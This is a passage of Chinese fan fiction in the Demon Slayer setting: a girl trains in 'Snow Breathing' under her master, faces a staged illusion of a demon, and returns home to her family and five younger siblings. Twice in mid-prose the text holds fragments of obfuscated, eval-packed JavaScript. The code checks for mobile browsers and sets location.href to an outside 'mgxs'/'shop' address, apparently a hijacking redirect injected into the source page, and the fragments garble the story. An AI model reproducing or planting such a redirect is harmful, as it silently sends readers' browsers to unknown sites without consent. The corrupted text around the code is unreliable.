什么都听不见,什么都感觉不到。只有刀,只有自己,只有月光。 她挥了一刀。 刀过,无声。 可雪地上,多了一道刀痕。 她愣住了。 刚才那一刀,她什么都没想,什么都没做。只是挥了出去。 然后它就成了。 她抬起头,看见师父站在不远处,正看着她。 月光下,师父的嘴角弯了一下。 “可以了。”她说。 雪萤笑了。 笑得眼泪都出来了。 --- 第六个月,她开始练贰之型·时雨。 时雨的要诀,是连绵不绝。 一刀接一刀,不能停,不能断。像雪前的细雨,又密又急,让人无处可逃。 她练了三个月。 每天挥刀,挥到手臂抬不起来,挥到肩膀麻木,挥到晚上睡觉的时候手还在抖。 可她没停。 因为她知道,她离那个人,越来越近了。 那个深色眼睛的人。 那个她在梦里见过无数次,却不知道名字的人。 --- 第九个月,她开始练参之型·冰华。 冰华的要诀,不是斩,是冻。 用刀锋冻结空气,让鬼的动作变慢,然后一刀毙命。 最难的一式。 她练了三个月。 刚开始,什么都冻不住。刀过之后,空气还是空气,什么都没有。 后来,能冻出一丝白雾了。 再后来,能冻出一小片冰晶了。 再后来,能冻出一朵完整的冰花了。 那天,她对着空气挥出一刀,刀锋过处,一朵冰花在空中凝结,缓缓飘落。 她伸手接住。 那朵冰花在她手心里,慢慢融化,变成一滴水。 可那滴水,是暖的。 因为她笑了。 --- 第三年的最后一天,冰室雪乃站在她面前。 “你学会了三式。”她说,“可这不够。” 雪萤看着她。 “雪之呼吸,不止这三式。”师父说,“那些,你以后慢慢学。” 雪萤点点头。 “但你要记住,”冰室雪乃看着她,目光沉静如水,“招式只是招式。真正重要的,是你为什么挥刀。” 雪萤沉默了一会儿。 然后她说:“为了保护想保护的人。” 冰室雪乃点点头。 “记住这句话。”她说,“永远不要忘。” 雪萤看着她,用力点头。 窗外,雪还在落。 新的一夜,又要来了。 可她不怕。 17. 雪之呼吸 面对 第四年的第一天,冰室雪乃把雪萤叫到面前。 “三年了。”她说,“你学会了听雪,学会了斩雪,学会了三式刀法。” 雪萤站在她面前,静静地听着。十二岁的少女,已经比刚来时高了一截,身板挺得笔直,深蓝色的长发在晨光里泛着柔和的光泽。那双蓝紫色的眼睛比以前更深了些,像是藏进了三年的风雪。 “可这些还不够。”冰室雪乃看着她,“你还没有学会面对。” 雪萤愣了一下。 “面对?” “面对你心里最怕的东西。”师父说,“下山吧。” 雪萤愣住了。 “下山?” “不是让你回去。”冰室雪乃说,“是让你去面对那个东西。” 那个东西。 雪萤知道她说的是什么。 藤袭山。那只鬼。 虽然已经过去四年了,可那张烂掉的脸、那六只血红的眼睛、那黏腻的声音说“好久没吃过这么小的孩子了”——那些东西,一直藏在她心里。 她以为她已经忘了。 可每次闭上眼睛,它们就会回来。 —— 雪萤一个人下了山。 四年来第一次离开天岭山,她有些不适应。山下的风没有那么冷,空气里也没有那种凛冽的雪的味道。她走在山路上,一步一步,朝着那个方向走。 藤袭山。 她知道路。 三天的路程,她走了两天半。 站在藤袭山脚下的时候,她的腿在抖。 那股腐烂的甜腥味飘过来,和四年前一模一样。她的心揪紧,手心冒汗,呼吸变得急促。 可她深吸一口气,走了进去。 —— 山里的雾气很重。 灰白色的雾,厚得像一堵墙。雪萤握紧腰间的木刀——不是真刀,师父说,这次只是面对,不是战斗。 她走得很慢。每一步都要用脚探一探,确认踩实了才敢往前走。 雾里有声音。 沙沙。沙沙。沙沙。 像什么东西在地上爬。 雪萤停下脚步。 她看见雾里亮起两盏灯。 绿色的。 和四年前一模一样。 她的心跳得飞快,快得像要从胸口蹦出来。她想跑,可腿不听使唤。她想喊,可喉咙像是被什么堵住。 那两盏灯越来越近。 雾在它们面前散开,露出一张脸。 那张脸,和四年前那只鬼一模一样。 青灰色的皮肤,皱巴巴的,像泡了太久的烂布。没有头发,头顶坑坑洼洼。六只眼睛,三只长在左边,三只长在右边,都盯着她,瞳孔是竖着的,像蛇。 没有鼻子,只有两个黑洞。嘴巴从左边耳朵根裂到右边耳朵根,嘴唇烂得翻起来,露出里面参差不齐的牙——黄的,黑的,尖的。 它看见她了。 那张烂掉的嘴咧开,露出一个笑。 “孩……子……”它的声音沙哑得像碎玻璃在石头上刮,“好久……没吃过……这么小的……孩子了……” 雪萤浑身僵住。 她想跑,可腿不听使唤。她想喊,可喉咙像是被什么堵住。 那只鬼朝她走过来。 一步。两步。三步。 越来越近。 雪萤闭上眼睛。 ——师父说,面对它。不是打败它,是面对它。 她深吸一口气,睁开眼睛。 那只鬼已经站在她面前了,伸出爪子,朝她抓过来。 雪萤没有动。 她看着它,开口说: “我不怕你。” 那只鬼愣住了。 “我不怕你。”她又说了一遍,声音更大。 那只鬼的眼睛里闪过一丝疑惑。 然后它张开嘴,朝她扑过来。 雪萤没有躲。 她只是站在那里,看着它。 那只鬼的爪子碰到她的一瞬间,消失了。 像烟雾一样,散了。 四周的雾气也散了。 阳光从头顶照下来,暖暖的。 雪萤站在那里,愣了很久。 然后她低下头,看见地上有一个东西。 一块小小的木牌,上面刻着几个字: “你做到了。” 是师父的字迹。 雪萤的眼眶一下子湿了。 原来这一切,都是师父安排的。 那只鬼是假的。那些雾是假的。可她的恐惧,是真的。 她真的面对了它。 —— 雪萤回到天岭山的时候,冰室雪乃正坐在屋前等她。 “回来了?” 雪萤点点头。 她走过去,在师父身边坐下。 两个人谁都没有说话。 过了很久,雪萤开口: “师父,那只鬼是假的吧?” 冰室雪乃看了她一眼。 “你猜到了?” 雪萤摇摇头。 “一开始没猜到。”她说,“后来它扑过来的时候,我忽然想,真正的鬼,不会给我那么多次机会。” 冰室雪乃的嘴角弯了一下。 “你不笨。” 雪萤笑了。 笑着笑着,眼泪流了下来。 冰室雪乃看着她,没有说话。 雪萤擦了擦眼泪,说: “师父,谢谢你。” 冰室雪乃沉默了一会儿,然后伸出手,轻轻拍了拍她的头。 那是她第一次对雪萤做这个动作。 雪萤愣住了。 然后她哭得更凶了。 —— 那天晚上,冰室雪乃给她讲了一个故事。 “很多年前,”她说,“也有一个女孩,一个人爬上这座山。” 雪萤静静地听着。 “她和你一样,想学雪之呼吸。想变强。想保护想保护的人。” “后来呢?” 冰室雪乃沉默了一会儿。 “后来她学会了。”她说,“可她下山的时候,想保护的那个人,已经死了。” 雪萤愣住了。 “被鬼杀了。”冰室雪乃的声音很轻,轻得像雪落,“她连最后一面都没见到。” 雪萤看着她,不知道该说什么。 冰室雪乃转过头,看着她。 那双亮得像星光的眼睛里,有一点湿意。 “所以你要记住,”她说,“变强不是为了等。是为了不让自己后悔。” 雪萤看着她,用力点了点头。 “我记住了。” —— 第四年的春天,雪萤开始学新的刀法。 “伍之型·牡丹雪。”冰室雪乃说。 牡丹雪,是大片的雪花。不像初雪那样轻,不像时雨那样密,而是沉甸甸的,一片落下来,能把树枝压断。 “这一式的要诀,是重。”师父说,“蓄力一击,刀势沉重,可劈开坚硬的鬼躯。” 雪萤开始练。 每天挥刀一万下,然后把力量积蓄到刀上,一刀劈出。 刚开始,她劈出的刀轻飘飘的,根本没有力量。 师父说:“你把力气都用在了手上。要用全身,从脚开始,到腰,到肩,到手,到刀。” 她试着调整。 一个月后,她能劈出一点力道了。 三个月后,她能一刀劈断碗口粗的树了。 五个月后,她一刀劈下去,能把一块巨石劈成两半。 那天,她劈完石头,累得瘫在地上。 冰室雪乃走过来,低头看着她。 “可以了。”她说。 雪萤咧嘴笑了。 —— 夏天的时候,她开始学陆之型·雪崩。 “雪崩的要诀,是积蓄。”师父说,“把力量积蓄到极限,然后一击轰出。” 这一式最难。 要把前面五式的所有力量,都积蓄到一刀里。 她练了三个月。 刚开始,积蓄到一半就散了。后来,能积蓄到七八成了。再后来,能积蓄到九成了。 可始终达不到十成。 那天,她又一次失败后,坐在地上生闷气。 冰室雪乃走过来,在她身边坐下。 “你知道为什么积蓄不满吗?” 雪萤摇摇头。 “因为你心里有事。”师父说。 雪萤愣住了。 “你心里有一个人。”冰室雪乃看着她,“一个你一直在等的人。” 雪萤张了张嘴,想说什么,可什么都说不出来。 “那个人,让你分心了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444157|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师父说,“积蓄力量的时候,你想着他,力量就散了。” 雪萤低下头。 “师父,我……” “不用解释。”冰室雪乃站起来,“等你什么时候能不想他了,这一式就成了。” 她走了。 雪萤一个人坐在那里,望着天上的云。 那个人。 那个她从来没有见过,却总觉得在等的人。 她真的在等他吗? 她不知道。 可她每次积蓄力量的时候,脑子里就会浮现出那双眼睛。 深紫色的,像深夜,像深渊,像看不见底的井。 那双眼睛里,有光。 很微弱的光,像是要被黑暗吞没。 她想抓住那道光。 可抓不住。 —— 秋天的时候,雪萤收到了家里的信。 信是娘亲写的,说弟弟妹妹们都会走路了,都会叫“姐姐”了。辉利哉走路最稳,雏衣和日香总是一起跑,彼方话最多,杭奈最小,可也最黏人。 她们天天问,“姐姐呢?姐姐什么时候回来?” 雪萤看着信,眼眶湿了。 她想回去。 想抱抱他们,亲亲他们,听他们叫“姐姐”。 可她还不能回去。 她还没学成。 她还没变强。 她还没成为能保护他们的人。 那天晚上,她对着月亮,把那封信读了一遍又一遍。 然后她站起来,开始练刀。 一刀,又一刀。 每一刀,都带着她想回家的心情。 每一刀,都带着她想保护他们的决心。 —— 冬天的时候,她终于悟出了陆之型·雪崩。 那天她站在雪地里,闭上眼睛,积蓄力量。 她没有想那个人。 她想着弟弟妹妹们的脸。 辉利哉,雏衣,日香,彼方,杭奈。 她要保护他们。 她要变得很强很强,强到没有任何鬼能伤害他们。 她睁开眼睛,一刀劈出。 轰——! 面前的雪地,被劈出一道深深的沟壑。那沟壑一直延伸到很远的地方,像雪崩过后留下的痕迹。 冰室雪乃站在不远处,看着她。 师徒俩对视一眼。 “成了。”师父说。 雪萤笑了。 笑得眼泪都出来了。 —— 第四年的最后一天,下着大雪。 雪萤坐在屋里,望着窗外的雪发呆。 冰室雪乃推门进来,在她身边坐下。 “明天就是第五年了。”她说。 雪萤点点头。 “时间过得真快。”师父说。 雪萤看着她。 烛光里,师父的脸显得比平时柔和一些。那些细细的皱纹,像是被光抚平了。 “师父,”她忽然问,“你说的那个人……是谁?” 冰室雪乃沉默了一会儿。 然后她开口,声音很轻: “他叫阿雪。” 雪萤愣住了。 阿雪? “我从小就认识他。”冰室雪乃说,“一起长大,一起练刀。他说,等我学成了,就娶我。” 她顿了顿。 “后来我上山学艺,他在山下等我。说好了三年。” “三年后我下山,他死了。” 雪萤不知道该说什么。 “被鬼杀了。”冰室雪乃的声音很平静,可那平静里,有一种很深很深的东西,“就在我下山的前一天。” 雪萤的眼泪流了下来。 “师父……” “没事。”冰室雪乃看着她,“很多年了,早就不疼了。” 可雪萤知道,她说谎。 因为她的眼睛里,有光。 那是泪光。 —— 那天夜里,雪萤躺在榻上,想了很久。 她想起自己心里的那个人。 那个深紫色眼睛的人。 如果有一天,她也像师父那样,学成下山,却发现他死了…… 她不敢想。 她翻了个身,把脸埋在被子里。 窗外的雪,还在落。 落了一夜。 18. 雪之呼吸 告别归家 第五年的第一天,雪萤醒来的时候,发现窗外没有雪。 她愣住了。 五年来,每一个清晨睁开眼睛,窗外都是白茫茫的一片。可今天,阳光从窗户透进来,金灿灿的,落在她脸上,暖暖的。 她爬起来,推开窗。 外面是一片亮得刺眼的世界。 雪还在,可天空是蓝的,太阳是金的,整座山都像被镀上了一层光。 她忽然想起五年前爬上来的那一天。 也是这样的光。日照金山。 她站在那里,看了很久很久。 --- 冰室雪乃把她叫到屋后。 那里有一块巨大的冰壁,比两个人还高,蓝莹莹的,像一整块巨大的宝石。五年前,雪萤第一次触冰,就是在这里。 “五年了。”师父说,“你学会了听雪,学会了斩雪,学会了六式刀法。你面对了自己的恐惧,也明白了自己想要保护什么。” 雪萤静静地听着。 “还差最后一课。”冰室雪乃看着她。 “什么课?” 师父没有回答。她转身,走向那块冰壁。 然后她拔刀。 刀光闪过,冰壁上出现了一道深深的裂痕。 “这是雪之呼吸的第七式——吹雪·迷途。”她说,“用刀制造幻觉,让鬼分不清方向,困在雪境中。” 她挥出第二刀。 裂痕旁边,又多了一道。 “第八式——雪壁。防御技,用雪之呼吸在周身制造雪壁,抵挡攻击。” 第三刀。 “第九式——冰河。刀势连绵不绝,像冰河一样奔流,让鬼无处可逃。” 三刀,三式。 冰壁上留下了三道深深的刀痕,每一道都像是有生命一样,在阳光下泛着幽幽的蓝光。 雪萤看得呆了。 “这三年,你一直在练前六式。”冰室雪乃收刀入鞘,“后三式,是时候教给你了。” --- 第一式,吹雪·迷途。 “这一式的要诀,是惑。”师父说,“不是斩鬼,是困鬼。让它在自己的幻觉里迷失方向,找不到出路。” 雪萤开始练。 她发现这一式和之前的所有招式都不一样。之前是斩,是劈,是积蓄力量。这一式是惑,是骗,是制造幻觉。 她需要把雪之呼吸的力量融入刀锋,然后挥出去,让刀光在空气中凝结成一片片雪花。那些雪花不是真的,却能让鬼以为是真的。 太难了。 她练了一个月,刀光挥出去,什么都没有。 两个月,能挥出几片雪花,可很快就散了。 三个月,能挥出一片雪雾了,可只是薄薄的一层,一吹就散。 那天,她又一次失败后,坐在地上,有点泄气。 冰室雪乃走过来,在她身边坐下。 “你知道你缺什么吗?”师父问。 雪萤摇摇头。 “你缺的是‘相信’。”师父说,“你不相信自己的刀能制造幻觉,所以它就不能。” 雪萤愣住了。 “你要相信。”师父说,“相信你的刀,相信你的呼吸,相信你自己。” 雪萤沉默了很久。 然后她站起来,握紧刀。 她闭上眼睛,回想这五年的一切。 凿冰取水时的冷。背柴攀峰时的累。雪中静坐时的孤独。听雪时的静。触冰时的惊。斩雪时的专注。削冰时的耐心。练刀时的汗。 那些东西,都在这把刀里。 都在她身体里。 她睁开眼睛,挥出一刀。 刀光过处,空气中凝结出一片雪雾。那雪雾越来越浓,越来越密,最后变成了一场小小的风雪,在她面前旋转着,飞舞着。 她伸出手,那些雪花穿过她的手指,什么都没有留下。 可她知道,它们是真的。 因为它们是从她心里飘出来的。 冰室雪乃站在不远处,看着她。 嘴角弯了一下。 --- 第二式,雪壁。 这一式的要诀,是守。 用雪之呼吸在周身制造雪壁,抵挡攻击。不是逃跑,是守住。 雪萤开始练。 刚开始,她制造的雪壁薄得像一层纸,一碰就碎。 后来,厚了一点,可还是挡不住什么。 再后来,能挡住一些东西了,可坚持不了多久。 她练了两个月。 有一天,她正在练的时候,冰室雪乃忽然从旁边挥刀砍过来。 雪萤吓了一跳,本能地挥刀格挡。 可来不及了。 刀已经到了面前。 她闭上眼睛,用尽全身的力气,在身前制造了一道雪壁。 当——! 刀砍在雪壁上,发出一声闷响。 雪萤睁开眼睛,看见那道雪壁挡住了师父的刀。 冰室雪乃收刀,看着她。 “可以了。”她说。 雪萤笑了。 笑得眼泪都出来了。 --- 第三式,冰河。 这一式的要诀,是连绵不绝。 刀势像冰河一样奔流,一刀接一刀,没有尽头。让鬼无处可逃,无处可躲。 最难的一式。 她练了三个月。 刚开始,她只能挥出三刀,然后就断了。 后来,能挥出五刀了。 再后来,能挥出十刀了。 可师父说,真正的冰河,是一百刀,一千刀,一万刀。 “冰河不会断。”师父说,“它会一直流,一直流,直到汇入大海。” 雪萤听着,若有所思。 那天晚上,她一个人站在雪地里,望着月亮。 她想起师父说的话。 冰河不会断。 她深吸一口气,开始挥刀。 一刀。两刀。三刀。四刀。五刀。 十刀。二十刀。三十刀。四十刀。五十刀。 她的手臂开始发酸,肩膀开始发麻,可她不停。 六十刀。七十刀。八十刀。九十刀。一百刀。 一百刀之后,她的手已经麻木了,完全感觉不到刀的存在。可她的身体还在动,还在挥,还在斩。 一百五十刀。两百刀。两百五十刀。三百刀。 她不知道自己挥了多少刀。 只知道月亮从东边升起来,又慢慢往西边落下去。 当她终于停下来的时候,天已经快亮了。 她站在那里,浑身是汗,大口大口地喘气。 可她笑了。 因为她做到了。 冰河,真的不会断。 --- 第五年的最后一天,下着大雪。 雪萤坐在屋里,和师父一起烤火。 炉子里的柴火烧得噼啪响,暖烘烘的。窗外的雪落得很厚,把整个世界都埋成了白色。 “明天,你就该下山了。”冰室雪乃说。 雪萤点点头。 五年的时光,一晃就过去了。 她想起第一天爬上来的样子。那个八岁的孩子,浑身冰凉,嘴唇发紫,躺在师父怀里。 现在的她,十三岁了。 高了,壮了,也强了。 “师父,”她忽然开口,“这五年,谢谢你。” 冰室雪乃看了她一眼。 “谢什么?” “谢谢你教我。”雪萤说,“谢谢你没有放弃我。谢谢你……让我变得这么强。” 冰室雪乃沉默了一会儿。 然后她伸出手,轻轻拍了拍雪萤的头。 “你是我见过最有天赋的徒弟。”她说,“也是最拼命的。” 雪萤笑了。 “可是师父,”她说,“我还不知道,该怎么面对那个人。” 冰室雪乃看着她。 “那个你一直在等的人?” 雪萤点点头。 “我不知道他是谁。”她说,“不知道他长什么样,不知道他在哪里。可每次想到他,心里就会疼。” 冰室雪万沉默了很久。 然后她说:“有些事,不是现在能懂的。等你下山了,见到他了,自然就知道了。” 雪萤看着她。 “师父,你当年也是这样吗?” 冰室雪乃没有回答。 可她的眼睛,望着窗外。 望着那片白茫茫的雪。 --- 第二天清晨,雪萤站在山门口。 五年了。 她背着那个小小的包袱,和来的时候一样。包袱里装着几件换洗的衣服,一包干粮,还有那朵已经干枯了五年的紫色小花。 还有一样新的东西——一把刀。 冰室雪乃送给她的刀。 刀身细长,通体雪白,像一根冰柱。可那白里,透着一层淡淡的蓝,和师父那把一模一样。 “这把刀,叫‘雪切’。”师父说,“是我年轻时用过的。现在,给你了。” 雪萤接过刀,眼眶湿了。 她转过身,看着师父。 冰室雪乃站在山门口,花白的头发被风吹起来。她的脸上还是没什么表情,可那双眼睛,亮得像山巅的星光。 “去吧。”她说。 雪萤点点头。 她往前走了一步,又停下来,回头。 “师父,”她说,“我会回来的。” 冰室雪乃的嘴角弯了一下。 很浅很浅的弧度。 可雪萤看见了。 她笑了。 然后她转过身,一步一步,往山下走。 —— 雪很大。 可她不冷。 因为她心里,有一团火。 那是五年修行燃起来的火。 是想要保护的火。 是变强的火。 是回家的火。 --- 下山的路上,雪萤走得很快。 五天,她只用三天就走完了。 第三天的傍晚,她站在山脚下,回头望了一眼。 那座山,还是那么高,那么冷,那么美。 山顶隐没在云雾里,看不见。 可她知道,那里有一个人。 一个教了她五年的人。 一个让她变成现在这样的人。 她对着那座山,深深地鞠了一躬。 然后她转过身,大步往前走。 --- 第七天的午后,她站在了家门口。 还是那扇门,还是那个院子。门前的梅树还是老样子,枝头上挂着几朵小小的花苞。阳光暖暖地照着,一切都和她离开时一样。 可她不一样了。 她站在那里,忽然不敢进去。 五年了。 家里变成什么样了?爹爹还认得她吗?娘亲还认得她吗?弟弟妹妹们,还记得她这个姐姐吗? 她深吸一口气,伸出手,推开了门。 —— 院子里,几个身影正在说话。 听见门响,他们一起转过头来。 五个孩子,五个五岁多的孩子。 站在最前面的是辉利哉。五岁的男孩,深蓝色的头发和她一模一样,小脸已经有了几分爹爹的样子。他穿着一身深蓝色的小和服,站在那里,腰板挺得笔直,像一个小小的少年。 他身后站着四个女孩。 雏衣、日香、彼方、杭奈。五个孩子里,她们是女孩,是妹妹。四个一模一样的五岁女孩,穿着颜色不同的和服,白色的头发和娘亲一模一样,软软的,垂在肩头。她们站在一起,四双紫色的眼睛都望着她。 辉利哉歪着头,看了她一会儿。 然后他的眼睛忽然亮了。 “姐姐!”他喊了一声。 他快步走过来,走得那么稳,那么端正。走到她面前,他停下来,仰着头看她。 “姐姐,你回来了。” 他的声音还带着孩子的稚嫩,可那语气,已经有了几分大人的沉稳。 雪萤的眼泪一下子涌了出来。 她蹲下来,和他平视。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444158|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“辉利哉,”她轻声说,“姐姐回来了。” 辉利哉看着她,眼眶也红了。可他忍着,没有哭。 “姐姐,我们都在等你。” 雪萤伸出手,把他轻轻揽进怀里。 “姐姐知道。”她说,“姐姐回来了。” —— 那四个女孩也走过来了。 她们端端正正的,像四个小小的淑女。 雏衣穿着淡粉色的和服,走过来,站在雪萤面前,轻声说:“姐姐好。” 日香穿着浅紫色的和服,站在雏衣旁边,也微微低下头:“姐姐好。” 彼方穿着鹅黄色的和服,抬起头看着雪萤,眼睛亮亮的:“姐姐,你终于回来了。我们每天都问娘亲,姐姐什么时候回来。娘亲说快了快了,可快了是多久呢?我们数了好久好久——” 杭奈穿着浅绿色的和服,扯了扯彼方的袖子,小声说:“彼方,你说太多了。” 彼方吐了吐舌头,不说了。 雪萤看着她们四个,看着她们那副认真的小模样,忍不住笑了。 她一个一个看过去,一个一个叫她们的名字。 “雏衣,日香,彼方,杭奈。” 四个女孩齐声应道:“姐姐!” 雪萤的眼泪又涌了出来。 可她笑得那么开心。 —— 门廊下,耀哉和天音并肩站着。 阳光从身后照过来,落在他们身上。 耀哉的脸上,紫黑色的纹路比五年前又深了一些,从额头蔓延到脸颊,蔓延到脖颈。可那双眼睛望着雪萤的时候,还是那么温柔,那么亮。 天音的眼眶红红的,眼泪一直在流,可她在笑。 雪萤站起来,一步一步走向他们。 五年了。 她走过雪山,走过风雪,走过一千八百多个日夜。 现在,她终于走回了这里。 走回了他们面前。 她跪下来,端端正正地磕了一个头。 “爹爹,娘亲,雪萤回来了。” —— 耀哉看着她。 阳光里,那个十三岁的少女跪在地上。 深蓝色的长发已经长及腰际,比五年前更浓密,更柔亮,披散在肩头,像一匹上好的绸缎。几缕碎发垂在脸颊边,衬得那张脸越发白皙如玉。 她长高了。不再是当年那个圆滚滚的小丫头,身量抽条了,显出少女特有的纤细与柔韧。眉眼完全长开了,褪去了孩童的稚气,多了几分清丽。那双蓝紫色的眼睛还是那么清澈,可那清澈里,有了一些新的东西——是五年风雪刻进去的坚韧,是无数次跌倒又爬起留下的倔强,是成长沉淀下来的沉静。 她穿着素白的衣袍,腰间系着师父送的刀。跪在那里,脊背挺得笔直,像一株在雪中生长了五年的小树,已经初见风骨。 耀哉看着她,看了很久很久。 然后他笑了。 那笑容里,有欣慰,有骄傲,也有一点点——心疼。 “起来。”他说,声音还是那么温柔,“让爹爹好好看看。” 雪萤站起来,走过去,站在他面前。 耀哉伸出手,轻轻抚过她的脸。 掌心里的皮肤,比五年前粗糙了一些,是风雪留下的痕迹。可那双眼睛望着他的时候,还是和小时候一样,亮晶晶的,里面满是他。 “长大了。”他说,“也更漂亮了。” 雪萤的眼泪又涌了出来。 她扑进他怀里,像小时候一样。 “爹爹,雪萤好想你。” 耀哉抱着她,轻轻拍着她的背。那动作,和小时候一模一样。 “爹爹也想你。”他说,“天天都在想。” 天音走过来,伸出手,把她们两个一起抱住。 她的眼泪落在雪萤的头发上,可她在笑。 “我的雪萤,”她说,“我的雪萤回来了。” —— 五个孩子围在旁边,仰着脸看着这一幕。 辉利哉站在那里,背挺得直直的,看着姐姐和爹娘抱在一起。他的眼眶红红的,可他忍着,没有哭。 雏衣轻轻扯了扯他的袖子,小声说:“辉利哉,你不哭吗?” 辉利哉摇摇头:“我是男孩,不能哭。” 日香看了他一眼,小声说:“可你眼睛红了。” 辉利哉别过脸去,不说话。 彼方拉着杭奈的手,小声说:“姐姐终于回来了,我好高兴。” 杭奈点点头,奶声奶气地“嗯”了一声。 —— 雪萤从父母怀里退出来,转过身,看着那五个孩子。 她走过去,在他们面前蹲下来。 “辉利哉。”她叫了一声。 辉利哉抬起头,看着她。 雪萤伸出手,轻轻揉了揉他的发顶。 “你长大了。”她说,“像个小大人了。” 辉利哉的眼泪终于忍不住,掉了下来。 可他还在忍着,不让自己哭出声。 雪萤把他揽进怀里,轻轻拍着他的背。 “哭吧。”她说,“姐姐在呢。” 辉利哉把脸埋在她肩上,终于哭了出来。 那四个女孩站在旁边,看着哥哥哭,眼睛也红了。 雪萤松开辉利哉,一个一个看过去。 “雏衣,日香,彼方,杭奈。” 四个女孩齐声应道:“姐姐。” 雪萤伸出手,把她们都揽进怀里。 五个小小的身体,挤在她身边。 阳光暖暖地照着。 一家九口,紧紧靠在一起。 那一刻,雪萤忽然想起师父说的话。 “有些事,不是现在能懂的。等你下山了,见到他了,自然就知道了。” 她还没见到那个人。 可她忽然觉得,好像没那么着急了。 因为这里有这么多人,在等她。 在爱她。 这就够了。 —— 窗外,梅树在风里轻轻晃动。 枝头上的花苞,快要开了。 19. 姐姐好像雪里的仙女 雪萤回家后的第三天,就发现自己多了五条小尾巴。 不管她走到哪里,身后都跟着五个小小的身影。 她去院子里练刀,五个孩子就在廊下排排坐,托着腮看她。 她去厨房帮天音做饭,五个孩子就挤在门口,探头探脑地往里张望。 她回自己房间休息,五个孩子就坐在她门口,安安静静地等着,偶尔小声说几句话,又赶紧捂住嘴,生怕吵到她。 “你们……不用去玩吗?”雪萤忍不住问。 辉利哉摇摇头,一本正经地说:“我们要陪姐姐。” 雏衣点点头:“姐姐刚回来,不能一个人。” 日香接话:“对呀对呀,一个人多孤单。” 彼方叽叽喳喳地说:“而且姐姐那么漂亮,我们想多看几眼。对吧杭奈?” 杭奈站在最边上,用力点头,认真地说:“对,杭奈也要陪姐姐。” 雪萤看着他们那副认真的小模样,忍不住笑了。 “好吧。”她说,“那你们就陪着吧。” 五个孩子的眼睛同时亮了起来。 —— 那天下午,雪萤照常在院子里练刀。 阳光暖暖的,照在院子里的梅树上,在地上投下斑驳的影子。她换上素白的练功服,把深蓝色的长发简单地束在脑后,露出光洁的额头和那双沉静的蓝紫色眼睛。 她就那样站在院子中央,阳光从她身后斜斜地照过来,在她周身镀上一层淡淡的金光。她的皮肤像雪一样白,透着微微的粉,像是上好的白瓷。眉眼舒朗,鼻梁秀挺,唇色是淡淡的樱粉。明明还带着几分少女的青涩,可那沉静的气质,已经隐隐有了几分大人模样。 五个孩子坐在廊下,排成一排,托着腮,目不转睛地看着她。 雪萤深吸一口气,开始挥刀。 刀光一闪,快得看不见。只有一道白光掠过,空气里留下一道淡淡的冰痕,像是有谁用最细的笔在虚空中画了一道。 五个孩子齐齐“哇”了一声。 她没有停。刀光连绵不绝,一刀接一刀,像春日里细密的雨丝,在阳光下反射出细碎的光点。那些光点在她周身飞舞,像是无数萤火虫围着她旋转。 雏衣的眼睛亮了起来:“好漂亮……” 刀势忽然一变。她挥刀的速度慢下来,可每挥出一刀,空气里就会凝结出一朵小小的冰花。一朵,两朵,三朵……那些冰花在空中绽放,然后轻轻碎裂,化成无数细小的冰晶,在阳光下闪闪发光,像一场小小的雪,落在她的发间,落在她的肩上。 日香看得入了神,喃喃地说:“姐姐好像……好像雪里的仙女。” 雪萤没有听见。她已经完全沉浸在刀法里。 她的身影开始在院子里快速移动,带起一阵阵微风。那些细碎的冰晶随着她的动作旋转、飞舞,把她整个人裹在其中,若隐若现。透过那层冰晶的薄雾,只能看见一个素白的身影,像雪中起舞的精灵。 辉利哉看得眼睛都不眨一下。 忽然,她停下脚步,双手握刀,蓄力。那一瞬间,她周身的气势完全变了。方才还像轻灵的雪,此刻却像一座即将崩塌的雪山。 她一刀劈出。 刀势沉重得惊人,空气都被劈开了一道口子,发出低沉的轰鸣。一道凌厉的刀气直冲向前,把几丈外的梅树震得枝叶乱颤,无数花瓣簌簌落下,像是下了一场花雨。 五个孩子被那声巨响吓了一跳,可随即又兴奋起来。 “哇!姐姐好厉害!” “那一刀好响!” “姐姐是最厉害的!” 雪萤收刀,转过身来。 阳光从她身后照过来,给她整个人镀上一层柔和的金色。因为运动,她的脸颊泛着淡淡的粉色,像初春的桃花。几缕碎发被汗水沾湿,贴在额角和脸颊上,衬得那张脸越发白皙如玉。她的眼睛亮亮的,像是盛着一汪清泉,又像是藏着无数星光。 她就那样站在那里,手握长刀,身姿挺拔,呼吸微微有些急促,胸口轻轻起伏。明明只是个十三岁的少女,可那通身的气度,已经让人移不开眼睛。 五个孩子看得呆了。 “姐姐……”辉利哉喃喃地说,“你好漂亮。” 雏衣用力点头:“像画里的人一样漂亮!” 日香双手捧心:“我也要成为姐姐那样的人!又漂亮又厉害!” 彼方叽叽喳喳:“我要跟姐姐学刀!我要成为第二个姐姐!” 杭奈最小,站在最边上,仰着小脸,奶声奶气地喊:“姐姐好看!杭奈也要好看!” 雪萤被他们叽叽喳喳的夸奖声弄得有些不好意思。她的脸颊更红了,一直红到耳根,连脖子都染上了一层淡淡的粉色。 “别……别乱说。”她小声说,垂下眼睛,睫毛在脸上投下小小的阴影,“我没什么特别的。” “才不是!”五个孩子异口同声。 雪萤的脸更红了。 —— “你们在吵什么呀?” 一个温柔的声音从身后传来。 五个孩子回过头,看见天音站在廊下,正含笑看着他们。她穿着淡紫色的和服,白色的长发松松地挽着,午后的阳光落在她身上,衬得她整个人温柔得像一幅画。 “娘亲!”他们齐声喊道,然后七嘴八舌地开始说: “娘亲!姐姐刚才好厉害!” 